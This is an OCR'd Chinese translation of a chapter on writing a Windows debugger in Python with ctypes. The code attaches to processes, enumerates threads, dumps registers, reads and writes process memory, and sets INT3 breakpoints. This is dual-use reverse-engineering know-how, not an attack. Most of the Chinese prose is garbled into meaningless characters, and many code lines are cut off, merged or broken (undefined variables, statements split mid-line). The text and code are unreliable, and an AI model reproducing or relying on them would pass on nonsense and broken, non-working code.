. TEHE—ZLREF 78y F BRI F

o AIHITHA RFMITEFRKF=XNE, SN is 7T
o MW RAFMRTESZIEIE HRMIUNME 7 RE
o AIET AFFHBEEATE

EAHRP TR M BREI X FRE, ZERERE 5 9 s8R A

REBREFHFMEER LR, #MIF, REEERERSE—1nmE, BsE
B NEEE, BEnt 35— 1 mEEEaE iR XEEmIT, —Aﬁﬁ%%%ﬁmLmTﬁﬁﬁ
&M 4ET NER (FTFE2FERN) MR, FEBREN. B3ER/ 2-5 WERRK
FRBIARE 7 EEE 20155 7] 1,

Reod, Wrile, or Execution Read
flags on a memory page R 51616101 10101001010101010010110101010101001 Write
allow dato to be moved in - - Execute

and out or executed on,

Any type of data access
on a guard page will
result in an exception

being raised. The original
data operation will fail, - REROURAG Ft TR

0101010101 1010100101010101001071 10101010101001 L

A
Y

Y

2-5: EMAEREHARER X BRHATRR LB ZE R 7 (Guard Page) , X%
AR nEERAT : ﬁj\%—i’ﬁﬂﬁ‘kﬁ

BR—MBIREREIRBRELR. 5—MER, M2 —TRHENRFRWE®
e Gy F) T, mEFE#RE. FM0F, IRBNELER—TMLIRSERF,

EHEEEIMEETE dlE, RNEEHBEENAFLRERF R, BEEE1TE
F, —BREEARPERNG 5, #RE CPU %18, HE—NMRF 1AXREE,

EeHERNAEBERFEEM 2otz B LA ERENEBET, <EH#
— S IRIRAR 7 ) NEFNIES, SMBERFSBEST 0B E, xR s
WERT Sk REBEEHN A A, EHBMEERRUE Mz TENRE,

BEHAIAIE, HBNE2 BT T A XINER 2 TIERE, ?%‘FEE%M]]E¥ B
#F BE— Python iAiX2s, XTNETF Windows M2 &% 81X 238, HBEEFHM
U%EUE’JFﬁﬁ %D‘lf/ N o



3 Bo#FE— windows igiX2s

RERMNEZHET T EAR R, B EZR—NEIEMNN BXSNHET . S
% FF % windows Byt iE, M4BT — K¥ENS A RENR XEHBLAEBI T2 &
MRE = MR E. BTN KEER X LR ZIRE 284 python 81X 28,
E—RBREE, Binda L2EFANES] PyDbg(Pedram Amini's )BI{ER, X2
HETRE BIM & & 75 89 Windows & T Python 8% 2% » 7 Pedram Fir,
RE[8EF PyDbg ek T MK = (BREEHR, ¥ =, FF) , ARtEIUE
B PyDbg 52 s ARAYA X 250

AT E—DHBH#ITRR, FEEDAA—LHEE R SR ER, M
L, 3 AR RSREAAMRE R — N A HITREFAFEITE, EFANREsH AN
BEINEI—N iz 17 B3 32, Windows BY38:X3# 0O (Windows debugging API) #&4it
TR EHNAETH X &=

Z T PREFARINE—PMEFE @HMIE . T - DMREFNGRETHEEER
Fiz ITEREARSZATENEHREFR, XEDTRENE TRRNSNHERIEER
Ao MEmE—" #12, ERTH#A—PEL2ETTHHERE, BRAFIRE
iiéibﬁgﬁﬂ’ﬂﬁf«?%, DT IRRESLEREI A, RIEEDHTRMAGRERRFERER
WATHIHE TS,

E—MAE HELMEMARXRBATRAZXNRERF (AXFUERHRE, HiAX
T2 PIEHIRREK) . 7 Windows L&l —1#F 2 CreateProcessA()EI#H,
MEENFEE X DEY, FSEHFARERES AR, —1 CreateProcessA()
AAERREX A

BOOL WINAPI CreateProcessA(
LPCSTR 1lpApplicationName,
LPTSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCTSTR lpCurrentDirectory,
LPSTARTUPINFO lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation

);

MEXMAAEERWE, 3, EERIERRNDHIBRIERD 28K NEIER 2
LURER, ZBERNMNIAROERXSTUE-ITAEFTEIRNSHY. ESHE
IpApplicationName,lpCommandLine,dwCreationFlags,lpStartupinfo, [

IpProcessinformation, FIRHISEATLLEEMZEE (NULL) o KXFXDEREBEYE
g LlE B MSDN(Msk 2k fEEH), RATENANSEATRE, FENIT
HREFRRERMIBMNE L4 3% L TEFHNS B, dwCreationFlags (8] 47ie) S8
EX—IMREML RTSBNGFERFUBRAXNR S E &, REAITSH D



7 9 % 8 | 2 N % # (STARTUPINFO and PROCESS_INFORMATION) ,
REBETHBIME 5, UREHEHNHFSEEFLS . (IpStartupinfo :
STARTUPINFO % #, AT RO EFHES X EZME &,
IpProcessinformation : PROCESS_INFORMATION 44, FARE#T2 o BREK
BXER, ZL&HWHARKEES, )

t]E m ™ Python 324 my_debugger.py 1 my_debugger_defines.py. /149 ¢|%
— R %k debugger()EEZX H B MEMH A XK., 54, BAFAEH
“#, BHAE, & 2 ME my debugger defines.py AELLGE 447,

# my_debugger_defines.py

from ctypes import *

# Let's map the Microsoft types to ctypes for clarity

WORD = c_ushort

DWORD = c_ulong

LPBYTE = POINTER(c_ubyte) LPTSTR = POINTER(c_char)

HANDLE = c_void_p

# Constants

DEBUG_PROCESS = 0x00000001

CREATE_NEW_CONSOLE = 0Ox00000010

# Structures for CreateProcessA() function

class STARTUPINFO(Structure):

_fields_ = [

("cb", DWORD),
("lpReserved", LPTSTR),
("1pDesktop", LPTSTR),
("1pTitle", LPTSTR),
("dwX", DWORD),
("dwY", DWORD),
("dwXSize'", DWORD),
("dwYSize", DWORD),
("dwXCountChars", DWORD),
("dwYCountChars", DWORD),
("dwFillAttribute", DWORD),
("dwFlags'", DWORD),
("wShowwWindow", WORD),
("cbReserved2", WORD),
("1lpReserved2", LPBYTE),
("hStdInput", HANDLE),
("hStdOutput™, HANDLE),
("hStdError", HANDLE),

]
class PROCESS_INFORMATION(Structure):

_fields_ = [
("hProcess", HANDLE),
("hThread", HANDLE),
("dwProcessId", DWORD),
("dwThreadId", DWORD),

]

# my_debugger.py
from ctypes import *
from my_debugger_defines import *



kernel32 = windll.kernel32
class debugger():
def init (self):
pass
def load(self,path_to_exe):
# dwCreation flag determines how to create the process
# set creation_flags = CREATE_NEW_CONSOLE if you want
# to see the calculator GUI
creation_flags = DEBUG_PROCESS
# instantiate the structs
startupinfo = STARTUPINFO()
process_information = PROCESS_INFORMATION()
# The following two options allow the started process
# to be shown as a separate window. This also illustrates
# how different settings in the STARTUPINFO struct can affe
# the debuggee.
startupinfo.dwFlags = 0x1
startupinfo.wShowWindow = 0Ox0
# We then initialize the cb variable in the STARTUPINFO st
# which is just the size of the struct itself
startupinfo.cb = sizeof(startupinfo)
if kernel32.CreateProcessA(path_to_exe,
None,
None,
None,
None,
creation_flags,
None,
None,
byref(startupinfo),
byref(process_information)):
print "[*] We have successfully launched the process!"
else:
print "[*] Error: 0x%08x." % kernel32.GetLastError()

j - 2]

REBMNEHE—DH RN XERBE—T—tIEEEET/E. AR
my_test.py, R EBIENXEHRER—TE Z T

#my_test.py
import my_debugger
debugger = my_debugger.debugger() debugger.load("C:\\WINDOWS\\syste¢

j S— >

MNRIRRB B MSITHE IDE Fahig A LENRZ, FaFsE— P # RN 2R
w AT2FE4, RERO#FZ ID (PID) , RE&HR., MNR{RA LEAMEIF
calc.exe, REFEARE HESZHNAFFAEEN. RA#BEEIEAEL2EBRRES
L, EESFFARABUENITHD §, BERBNFEE LS EHITTET. FEE
XZHL BMELWE T EE—D#E BT, AEEENER B —DI
gE, MIINEI—IETEiz TRY#TE,




A THIMEEEM#12, MV FABI eI, FZEmEAINENSNETED
Wi S8, BBENBEERARZBARSERERA XS (MRMMEBFIT, F
FIRIAXT) o X NMES4H OpenProcess()5Ei, LEEIA kernel32.dIl EEH,
[RENTF :

HANDLE WINAPI OpenProcess(
DWORD dwDesiredAccess,
BOOL bInheritHandle
DWORD dwProcessId

):

dwDesiredAccess SHURE T B NMGENNEIT AN A#ERE T+ AR (HA
B8 K#Frootishack) . A A EWRITA X, B &k EK

PROCESS ALL_ACCESS ., blnheritHandle %1% &R False, dwProcessld &
BRENBNGERSUMNAE ID, LELE2RIME %S89 PID, WREERLIIH
17, FHRE— B4 #ZRam,

T3 DebugActiveProcess()ENEIMI INE B 4r 372

BOOL WINAPI DebugActiveProcess(
DWORD dwProcessId

);

BFRE a K PID £ A, —BRZAABNBRIRG F Biriiz, Bi#EmR
E HRMBGARBRE2ELTFRIFRXEY, AEEARNITHEFEL R XER. A
X ERIEETE 78 B WaitForDebugEvent()LUER 3% 8 X B4, HEBERMNT -

BOOL WINAPI WaitForDebugEvent(
LPDEBUG_EVENT lpDebugEvent,
DWORD dwMilliseconds

)5

B—1NSEIER DEBUG _EVENT &4, XMNg#iEd T —MNMARESH. E4NS
% B INFINITE (LFRESRF) , X # WaitForDebugEvent() SAAFHRE, —i&E
ER/FEI—1NE G4,

ARBRHIRNEB— BN EERENEGRIBEY, TEF o 5 HITRIATLISERK
FRINEEFE, BREBHBTHKTERE, ANHEHRE %L F
, iX /% B 8 A ContinueDebugEvent(), REMTF :

BOOL WINAPI ContinueDebugEvent (
DWORD dwProcessId,
DWORD dwThreadId,
DWORD dwContinueStatus

);



dwProcessld #1 dwThreadld Z#{H DEBUG_EVENT 4% #BHEIEET, %X
RIE BR X EH0R, thEtE WaitForDebugEvent()BIh TR %, # 72
ID F14F2 ID #iLl KA8161F T, dwContinueStatus S35 i # T2 2 g 4 14T
(DBG_CONTINUE), &= *=4%% % (DBG_EXCEPTION_NOT_HANDLED),

RRT—HE&EM, MaEOBEEE B2 ID #4
DebugActiveProcessStop(), MAFHMNBRXLELERE—E&E, ¥ BEMNW
my_debugger #, itftiimBMMMOE—D#IERTHEE, RN LITF— 252
RISH#EIMNEN. REERMNERFETKRE HREERK, THF
my_debugger.py 4 ALL T3,

B~ TESENSH, B EMEEEE LTET debugger_defines.py XHE, TE
B9 a LLM http://www.nostarch.com/ghpython.htm T .

#my_debugger . py
from ctypes import *
from my_debugger_defines import *
kernel32 = windll.kernel32
class debugger():
def init (self):
self.h_process = None
self.pid = None
self.debugger_active = False
def load(self,path_to_exe):

print "[*] We have successfully launched the process!"
print "[*] PID: %d" % process_information.dwProcessId

# Obtain a valid handle to the newly created process

# and store it for future access

self.h_process = self.open_process(process_information.dwPi

def open_process(self,pid):
h_process = kernel32.0penProcess(PROCESS_ALL_ACCESS, pid, Fa.
return h_process
def attach(self,pid):
self.h_process = self.open_process(pid)
# We attempt to attach to the process
# if this fails we exit the call
if kernel32.DebugActiveProcess(pid):
self.debugger_active = True
self.pid = int(pid)
self.run()
else:
print "[*] Unable to attach to the process."
def run(self):
# Now we have to poll the debuggee for
# debugging events
while self.debugger_active == True:
self.get_debug_event()
def get_debug_event(self):
debug_event = DEBUG_EVENT()
continue_status= DBG_CONTINUE


http://www.nostarch.com/ghpython.htm

if kernel32.wWaitForDebugEvent(byref(debug_event), INFINITE)
# We aren't going to build any event handlers
# just yet. Let's just resume the process for now.
raw_input("Press a key to continue...")
self.debugger_active = False
kernel32.ContinueDebugEvent( \
debug_event.dwProcessId, \
debug_event.dwThreadId, \
continue_status )
def detach(self):
if kernel32.DebugActiveProcessStop(self.pid):
print "[*] Finished debugging. Exiting..."
return True
else:
print "There was an error" return False

( I ]
I EBAVE T % B4 LUEE B 6] AR,

#my_test.py

import my_debugger

debugger = my_debugger .debugger ()

pid = raw_input("Enter the PID of the process to attach to: ")
debugger.attach(int(pid))

debugger.detach()

LTS s Tm% (windows )

1. &3 FR->z T->FAEREF->M4->i+ B
A& SEEmIES £, MBEZ LR35 BESR.
% 13 AR ER.
IMRIREEER PID 42, &3 5 F->i2437!
R 240 R FF(PID)RIEMARIAER £ P, AF £ & OK,
% E calc.exe 8% 8 PID
AT my_test.py FElrtBIEEIR PID 5% 4 E

% Press a key to continue.. FTHERS LR, XERIETESHRNRME,
R ZA 058 BT, XERR A #ERAXSFIEERT, FEH—FTWIE
o

9. 7E{RBY Python #£HI& B4, BIXRRHHHNER, HREZELER,
10. MIEIREEBIRIEHEEST,
WMR—UIEINFEL N —HIEBTE, IBTEAITM my_debugger.py 12 :

© N o O bk~ w0 N



# raw_input("Press any key to continue...")
# self.debugger_active = False

REBMNO2HET F NARDWNE4R2, URINMAeIE—D#E, Him—1
BT TR, BTIREBNLRARBZIMAERS S RMITIEE,



3.23k 15 CPU FFask &

—MNAXI DA BE S TR e REBIEE S CPU M N T EHRARA, HRELAE
BIet 1RXBE L BRATAEAMIR S, BRIEERITHIES R4, UREM—LtIEE
BRANEGEER., ExzazxMEMN, BEZERIEARBE-ANHNEZEW, X1 IhEe
Fl OpenThread()sz 1. ERER BN T

HANDLE WINAPI OpenThread(
DWORD dwDesiredAccess,
BOOL bInheritHandle,
DWORD dwThreadId

);

X ERCRIEFE R OpenProcess()BIIAREIEN, FRT 3 REAXEAR R (thread
identifier TID) &2 T ##E4+7rfF (PID) .

BN sER B — T HITENREFANEMELKREN—MIIR, REa3HMNEE
B, B F OpenThread() i RE M B, it BEHARTUAE— TR 4E
W % % #2 (. enumerate threads)

3.2.1 W K12

H TR T HREEFEFHIVRE, BN aNE#2REMAE Bz THARE,
K12 RHRBRPEEMHTHE (KRESFB2LAETH) , BIE—ITMEEFTELATRE
B, EREL B -—PARE, EXE. SAZX—ENE— T EANEKEK
CreateToolhelp32Snapshot(), BH kernel32.dll ., x MNEREBEEKR ZH—D 372
WNEBFT A A FEMFIR, LAUN#&MIE: (DLLs) BIFIR, LR #iEFTHARHNT]
Fo HBUREMT :

HANDLE WINAPI CreateToolhelp32Snapshot (
DWORD dwFlags,
DWORD th32ProcessID

);

dwFlags S8 rE T HRMNEBRENBIE £ (KT8, #18, B3, =EH) . X
B MiEeix &K TH32CS _SNAPTHREAD, thzi=Z 0x00000004, RA-HAE
BERR snapshot " FT B B 2 F M 7T B & 2 . th32ProcessID % A F 11
ZHREMN#E, T3 e Rt TH32CS_SNAPMODULE,
TH32CS_SNAPMODULE32, TH32CS_SNAPHEAPLIST, and TH32CS_SNAPALL
X JLMERE R, 2t TH32CS_SNAPTHREAD Al 2%+ 2 A (BmE A#H) .
% CreateToolhelp32Snapshot()ig TN, FA=RE—MRExt RETME, #HET
SRV B3R LAE ISR B 2 IR,



—BEAMIREBFRFEE T XIEMFIR, BNFLBER Thread32First )W EE417. B
RO -

BOOL WINAPI Thread32First(
HANDLE hSnapshot,
LPTHREADENTRY32 lpte

);

hSnapshot 5t & L M 3@ it CreateToolhelp32Snapshot() 3 15 4% & & #&, Ipte
& M — > THREADENTRY32 g4y (wmfltaibid) « ENgmiE
Thread32First)7EiA AR IEE #IE &, HPEESTH L AMNE— I XEMNHEXE
Bo MELWT :

typedef struct THREADENTRY32{
DWORD dwSize;
DWORD cntUsage;
DWORD th32ThreadlD;
DWORD th320wnerProcesslID;
LONG tpBasePri;
LONG tpDeltaPri;
DWORD dwFlags;

};

TEX NI RE LB dwSize, th32ThreadID, 1 th320wnerProcessID 3
NS, dwSize W ATE Thread32First();B 2 Bi#liA{E, REE @ L EK
THREADENTRY32 & #4809 K/ELAILL T, th32ThreadlD 2412804 s D
KIE TID, XNSEATLAMEIHE 313 B9 OpenThread() BNEL8 FA LT FH L & 75,
#1775 BR1E, th320wnerProcessID EEX THaI X 12 Fi i@ # W PID, #
THELAERAEBETHRMNAANEBR#E, TEM
th320wnerProcessID By f1B st fE st b, HEMN HAXPNMEEBERMELA IR
B, —BFH NE/STHE—INXENEE, BnmEE&E T AR Thread32Next()3 EX
RPN T —PNERIESR B, SHISEF Thread32First()— 4. &5 A
Thread32Next()E £ 5 R K i,

3.2.2 BT ERIA SRR

AEBRNELHET/TT —TEAENERNEON, RE—PMEFDNMETFSENME, X
M Ei#it GetThreadContext()>k sz 3L, EA£F(1t8EA SetThreadContext()ck
TEAL



BOOL WINAPI GetThreadContext(
HANDLE hThread,
LPCONTEXT lpContext

);

BOOL WINAPI SetThreadContext(
HANDLE hThread,
LPCONTEXT lpContext

);

hThread Z#ZM OpenThread() iR[OIH 42 A4, IpContext &M — CONTEXT
sty, HPE#THESTFRE, CONTEXT HFEEE, EXLWT:

typedef struct CONTEXT {
DWORD ContextFlags;
DWORD Dro,;
DWORD Dr1;
DWORD Dr2;
DWORD Dr3;
DWORD Dr6;
DWORD Dr7;
FLOATING_SAVE_AREA FloatSave;
DWORD SegGs;
DWORD SegFs,
DWORD SegEs;
DWORD SegDs;
DWORD Edi;
DWORD Esi;
DWORD Ebx;
DWORD Edx;
DWORD Ecx;
DWORD Eax;
DWORD Ebp;
DWORD Eip;
DWORD SeqCs;
DWORD EFlags;
DWORD Esp;
DWORD SegSs;
BYTE ExtendedRegisters[MAXIMUM_SUPPORTED_EXTENSION];

};

RBE A ENEFREBEXININKRFPT, dRARETEFHRNESTESR. EHNF
T T, JFRENERRXDEH, FTURREE JEE,

EBAEREETRAMEB K my_debugger.py 443 BT, EINKE &2/ % Y
H1F 289ThEE,



#my_ debugger.py
class debugger():

def open_thread (self, thread_id):
h_thread = kernel32.0penThread(THREAD_ALL_ACCESS, None,
thread_id)
if h_thread is not None:
return h_thread
else:
print "[*] Could not obtain a valid thread handle."
return False
def enumerate_threads(self):
thread_entry = THREADENTRY32()
36 Chapter 3
thread_list = []
snapshot = kernel32.CreateToolhelp32Snapshot(TH32CS
_SNAPTHREAD, self.pid)
if snapshot is not None:
# You have to set the size of the struct
# or the call will fail
thread_entry.dwSize = sizeof(thread_entry) success = k¢
byref(thread_entry))
byref(thread_entry))
while success:
if thread_entry.th320wnerProcessID == self.pid:
thread_list.append(thread_entry.th32ThreadID)
success = kernel32.Thread32Next(snapshot,

kernel32.CloseHandle(snapshot) return thread_list
else:

return False
def get_thread_context (self, thread_id):
context = CONTEXT()
context.ContextFlags = CONTEXT_FULL | CONTEXT_DEBUG_REGISTE
# Obtain a handle to the thread
h_thread = self.open_thread(thread_id)
if kernel32.GetThreadContext(h_thread, byref(context)):
kernel32.CloseHandle(h_thread)
return context
else:
return False

« 1 ]
AR 2Y BTN, EEATEFT MRS X 1 THIIEE,




#my_test.py
import my_debugger
debugger = my_debugger.debugger ()
pid = raw_input("Enter the PID of the process to attach to: ") debt
list = debugger.enumerate_threads()
# For each thread in the list we want to
# grab the value of each of the registers Building a Windows Debug
for thread in list:
thread_context = debugger.get_thread_context(thread)
# Now let's output the contents of some of the registers
print "[*] Dumping registers for thread ID: 0x%08x" % thread
print "[**] EIP: Ox%08x" % thread_context.Eip
print "[**] ESP: 0x%08x" % thread_context.Esp
print "[**] EBP: 0x%08x" % thread_context.Ebp
print "[**] EAX: Ox%08x" % thread_context.Eax
print "[**] EBX: Ox%08x" % thread_context.Ebx
print "[**] ECX: 0Ox%08x" % thread_context.Ecx
print "[**] EDX: 0Ox%08x" % thread_context.Edx
print "[*] END DUMP"
debugger.detach()

{ S— >
iRz AT kAR, ARISEEIINGE £ 3-1 2 ROVEE,

Enter the PID of the process to attach to: 4028
[*] Dumping registers for thread ID: 0x00000550
[**] EIP: 0x7c90eb94

[**] ESP: Ox0007fde0

[**] EBP: 0x0007fdfc

[**] EAX: Ox006ee208

[**] EBX: Ox00000000

[**] ECX: 0x0007fdd8

[**] EDX: Ox7c90eb94

[*] END DUMP

[*] Dumping registers for thread ID: 0x000005cO
[**] EIP: ©x7c95077b

[**] ESP: Ox0094fff8

[**] EBP: Ox00000000

[**] EAX: Ox00000000

[**] EBX: Ox00000001

[**] ECX: Ox00000002

[**] EDX: Ox00000003

[*] END DUMP

[*] Finished debugging. Exiting...

Listing 3-1: 8N 472/ CPU FF8: &

AEET | B EeES EEA Iz T ESTERORET. KRR TAEN#IE B
BEBIMH L8R, Bt IEFHMNE 2K T B8 RBNROED, 25 E L0
— LR ah A X E IR IERET .
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3.3 LIARSBHRE

A T iEBATBE R 2R EE 9% 4 st P E RSB A REVE L B91T 50, B AL T E AKX 2
BE9s THIEEIRNIA X B, »ERIEH, EEEFEF WaitForDebugEvent() I,
BLHEHEIEE— MAREHNRE, BREI—METIF THI DEBUG_EVENT %4
Mo ZEIRMERIRIEX N 4, BEFEEH#B%ERITIE, AERNERERE
s BEE RREWNM 28 :XF 4, DEBUG_EVENT EXLHTF:

typedef struct DEBUG_EVENT {
DWORD dwDebugEventCode;
DWORD dwProcessId;
DWORD dwThreadId;
union {
EXCEPTION_DEBUG_INFO Exception;
CREATE_THREAD_DEBUG_INFO CreateThread;
CREATE_PROCESS_DEBUG_INFO CreateProcessInfo;
EXIT_THREAD_DEBUG_INFO ExitThread;
EXIT_PROCESS_DEBUG_INFO ExitProcess;
LOAD_DLL_DEBUG_INFO LoadDll;
UNLOAD_DLL_DEBUG_INFO UnloadDll;
OUTPUT_DEBUG_STRING_INFO DebugString;
RIP_INFO RipInfo;
Tu;
i

EXNEMPERZERAMNESR,. dwDebugEventCode RREER, BEXRHATE
4.5 B8 WaitForDebugEvent() #1227, BettRE T, EFE(union)u B
FEHORMH s 28 ME, u BB % 28 dwDebugEventCode JRTE, ——=x¢ 40
T



Event

Code Event Code Value Union u Value
0x1 EXCEPTION_DEBUG_EVENT u.Exception
0x2 CREATE_THREAD DEBUG_EVENT u.CreateThread
0x3 CREATE_PROCESS _DEBUG_EVENT  u.CreateProcessinfo
Ox4 EXIT_THREAD_DEBUG_EVENT u.ExitThread
0x5 EXIT_PROCESS_DEBUG_EVENT u.ExitProcess
0x6 LOAD_DLL_DEBUG_EVENT u.LoadDll
Ox7 UNLOAD DLL DEBUG_EVENT u.UnloadDlI
0x8 OUPUT_DEBUG_STRING_EVENT u.DebugString
0x9 RIP_EVENT u.RipInfo

Table 3-1:i8 X 54

it M % dwDebugEventCode 44, Bi@it LEMRMEEILEIS 2t & 77 i
?:T: ulE N8, LBNMESURRER, B RENEHRLME, ETH FJIJZ‘LEE’J
EHER. AXEER, By 7THEIAXSE B HITEMM— T XEEHENR
2, 4% HH my_debugger.py # our my_test.py BHIZ,

P



#my_debugger.py

class debugger():
def init (self):
self.h_process = None
self.pid = None
self.debugger_active = False
self.h_thread = None
self.context = None

def get_debug_event(self):
debug_event = DEBUG_EVENT()
continue_status= DBG_CONTINUE
if kernel32.wWaitForDebugEvent(byref(debug_event), INFINITE)
# Let's obtain the thread and context information
self.h_thread = self.open_thread(debug_event.dwThread)
self.context = self.get_thread_context(self.h_thread)
print "Event Code: %d Thread ID: %d" % (debug_event.dwl
kernel32.ContinueDebugEvent (
debug_event.dwProcessId,
debug_event.dwThreadId,
continue_status )
#my_test.py
import my_debugger
debugger = my_debugger.debugger ()
pid = raw_input("Enter the PID of the process to attach to: ")
debugger.attach(int(pid))
debugger.run()
debugger.detach()

d 1 ]
MNRIREAMZ calc.exe, # B TR :

Enter the PID of the process to attach to: 2700
Event Code: Thread ID: 3976
Event Code: Thread ID: 3976
Event Code: Thread ID: 3976
Event Code: Thread ID: 3976
Event Code: Thread ID: 3976
Event Code: Thread ID: 3976
Event Code: Thread ID: 3976
Event Code: Thread ID: 3976
Event Code: Thread ID: 3976
Event Code: Thread ID: 3976
Event Code: Thread ID: 3912
Event Code: Thread ID: 3912
Event Code: Thread ID: 3912

AR NOOOOOOOOOOOO W

Listing 3-2: 2F$ 0% cacl.exe st B4 2



ETHANMSE, Fi18EEEI CREATE_PROCESS EVENT (0x3)EH42%F—1 4%
41, T EM I — H A LOAD DLL_DEBUG EVENT (0x6)E 4, A5

CREATE_THREAD DEBUG EVENT(0x2) 61 B — 1M H & . EEM 2 —
4~ EXCEPTION_DEBUG_EVENT (0x1)5I#4-2=4, ©H windows % ERIRT = F5]
289, RFE H#ARBHAARAENRE, RE—ITEHRE

EXIT_THREAD DEBUG_EVENT (0x4), & H#2 3912 R R F = &,

PINEHZRIEEEE, PINTRESENR, HRRE, NERGFFFER (flmne
KE H—1PMRNAEX) . MEXEHREE, EH::HNnHRLHRE—1
windows % BEH] Bis, FTFF my_debugger.py AL TS :



#my_ debugger.py

class debugger():
def init (self):

self.h_process = None
self.pid = None
self.debugger_active = False
self.h_thread = None
self.context = None
self.exception = None
self.exception_address = None

def get_debug_event(self):
debug_event = DEBUG_EVENT()
continue_status= DBG_CONTINUE
if kernel32.wWaitForDebugEvent(byref(debug_event), INFINITE)
# Let's obtain the thread and context information
self.h_thread = self.open_thread(debug_event.dwThreadIc
self.context = self.get_thread_context(self.h_thread)
print "Event Code: %d Thread ID: %d" % (debug_event.dwl
# If the event code is an exception, we want to
# examine it further.
if debug_event.dwDebugEventCode == EXCEPTION_DEBUG_EVE!
# Obtain the exception code
exception = debug_event.u.Exception.ExceptionRecor¢
self.exception_address = debug_event.u.Exception.E;
if exception == EXCEPTION_ACCESS_VIOLATION:
print "Access Violation Detected."
# If a breakpoint is detected, we call an internal
# handler.
elif exception == EXCEPTION_BREAKPOINT:
continue_status = self.exception_handler_breakpoint
elif ec == EXCEPTION_GUARD_PAGE:
print "Guard Page Access Detected."
elif ec == EXCEPTION_SINGLE_STEP:
print "Single Stepping."
kernel32.ContinueDebugEvent (
debug_event.dwProcessId,
debug_event.dwThreadId,
continue_status )

def exception_handler_breakpoint():
print "[*] Inside the breakpoint handler."
print "Exception Address: Ox%08x" % self.exception_address
return DBG_CONTINUE

J S— >
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3.4 £EERIMTR

REBRMNELEB T —PESEBEITHARSZD, BIERIMAMSRIIET. A
MEBZEZEN, s ERG, B, NEZME ST, E5sase
R BB R IR B, EEMTREE P ET 4 HIRE #1E,

3.4.1 TR

AT HERHR, BNy sksNEEEABR#ENRNT, SRFERiT
ReadProcessMemory() #1 WriteProcessMemory ()52 #i., B 1413EFHELL :

BOOL WINAPI ReadProcessMemory(
HANDLE hProcess,
LPCVOID lpBaseAddress,
LPVOID 1lpBuffer,
SIZE_T nSize,
SIZE_T* lpNumberOfBytesRead

);

BOOL WINAPI WriteProcessMemory (
HANDLE hProcess,
LPCVOID lpBaseAddress,
LPCVOID lpBuffer,
SIZE_T nSize,
SIZE_T* lpNumberOfBytesWritten

)

X AN EHEBER S R R B N B MBI RN # NN E. SEBEBREG £,
IpBaseAddress = ZE iR E LR B irthit, IpBuffer ?al'ﬁ]—i#%/ﬂlﬂli FA sk
IflpBaseAddressii HEIEIESE B A IpBaseAddress ., nSize 2 B E = B W
# & KX /N, IpNumberOfBytesWritten HENBUEE, @it ©FAIMAES ME—R
BFtELmEE T iE.

AIEEFHMBR X SE R AR M RRBEE S T, BUURRGHRO £, Rk
B 2 EE 4R AT



#my_ debugger.py

class debugger():
def init (self):
self.h_process = None
self.pid = None
self.debugger_active = False

self.h_thread = None

self.context = None

self.breakpoints = {}

def read_process_memory(self,address, length): data = ""

read_buf = create_string_buffer(length)

count = c_ulong(0)

if not kernel32.ReadProcessMemory(self.h_process,
address,
read_buf,
length,
byref(count)):

return False
else:
data += read_buf.raw return data
def write_process_memory(self,address,data): count = c_ulong(0

length = len(data)

c_data = c_char_p(data[count.value:])

if not kernel32.WriteProcessMemory(self.h_process,
address,
c_data,
length,
byref(count)):

return False
else:
return True
def bp_set(self,address):
if not self.breakpoints.has_key(address):
try:
# store the original byte
original byte = self.read_process_memory(address,
# write the INT3 opcode
self.write_process_memory(address, "\xCC")
# register the breakpoint in our internal list self
except:
return False
return True

J S— >

NIEARBOLETFHRENRT, BNSER NI EE—DRRE. —RET=%
B WEGRRANMA, H TRz, BNFREZERER printf/E 4 HERENE
}FrEEL, Windows i APl IR T & ;3 B9 AELUIAE — N EEHYE pudth i,




GetProcAddress(), FE#tE2EM kernel32.dll HH), XD HBEENETESHH
B—MEH (=D dIl HE—.exe X)) AW, ErPh—REBIE T HA1K2
B 7T LLEE GetModuleHandle()# BiE G, REMNT :

FARPROC WINAPI GetProcAddress(
HMODULE hModule,
LPCSTR 1pProcName

)

HMODULE WINAPI GetModuleHandle(
LPCSTR 1lpModuleName

);

B NMEBEWMMNEGL - R E—MERRNTW, RE MBS H R LRI
BOHh fE, SEFATIEIN— AR EEL, SRR 8Y, [EE] my_debugger.py..

my_debugger . py
class debugger():

def func_resolve(self,dll, function):
handle = kernel32.GetModuleHandleA(dll)
address = kernel32.GetProcAddress(handle, function)
kernel32.CloseHandle(handle)
return address

RAECBREZNDRES, BB printf(). FA1FETHEEATNE, RE
XA FirBE— TR, ZEE AL, MEELALER, KEWIXM
TR gk HATIER, A1 —HTH Python BIZK printf_loop.py, # A TEM,

#printf_loop.py from ctypes

import * import time

msvcrt = cdll.msvcrt

counter = 0

while 1:
msvcrt.printf("Loop iteration %d!\n" % counter)
time.sleep(2)
counter += 1

RIEEFNXEN, MR #FE, 1F printf() L% ER =



#my_test.py

import my_debugger

debugger = my_debugger.debugger ()

pid = raw_input("Enter the PID of the process to attach to: ")
debugger.attach(int(pid))

printf_address = debugger.func_resolve("msvcrt.dll", "printf")
print "[*] Address of printf: Ox%08x" % printf_address
debugger.bp_set(printf_address)

debugger.run()

RIEFFIE M X, TERSITEE 1T printf_loop.py. M Windows £ 4 BERE# T
python.exe B9 PID, ARGz 1T my testpy, 4 A PID, {REGEZMNTHMHE :

Enter the PID of the process to attach to: 4048
[*] Address of printf: 0x77c4186a

[*] Setting breakpoint at: 0x77c4186a

Event Code: 3 Thread ID: 3148

Event Code: Thread ID: 3148
Event Code: Thread ID: 3620
Event Code: 1 Thread ID: 3620

[*] Exception address: 0x7c901230
[*] Hit the first breakpoint.
Event Code: 4 Thread ID: 3620
Event Code: 1 Thread ID: 3148

[*] Exception address: 0x77c4186a
[*] Hit user defined breakpoint.

Event Code: 6 Thread ID: 3148
Event Code: 6 Thread ID: 3148
Event Code: 6 Thread ID: 3148
Event Code: 6 Thread ID: 3148
Event Code: 6 Thread ID: 3148
Event Code: 6 Thread ID: 3148
Event Code: 6 Thread ID: 3148
Event Code: 6 Thread ID: 3148
Event Code: 6 Thread ID: 3148
Event Code: 6 Thread ID: 3148
Event Code: 6 Thread ID: 3148
Event Code: 6 Thread ID: 3148
Event Code: 6 Thread ID: 3148
Event Code: 6 Thread ID: 3148
Event Code: 6 Thread ID: 3148

6

2

Listing 3-3: K IR B REHRIE iR F

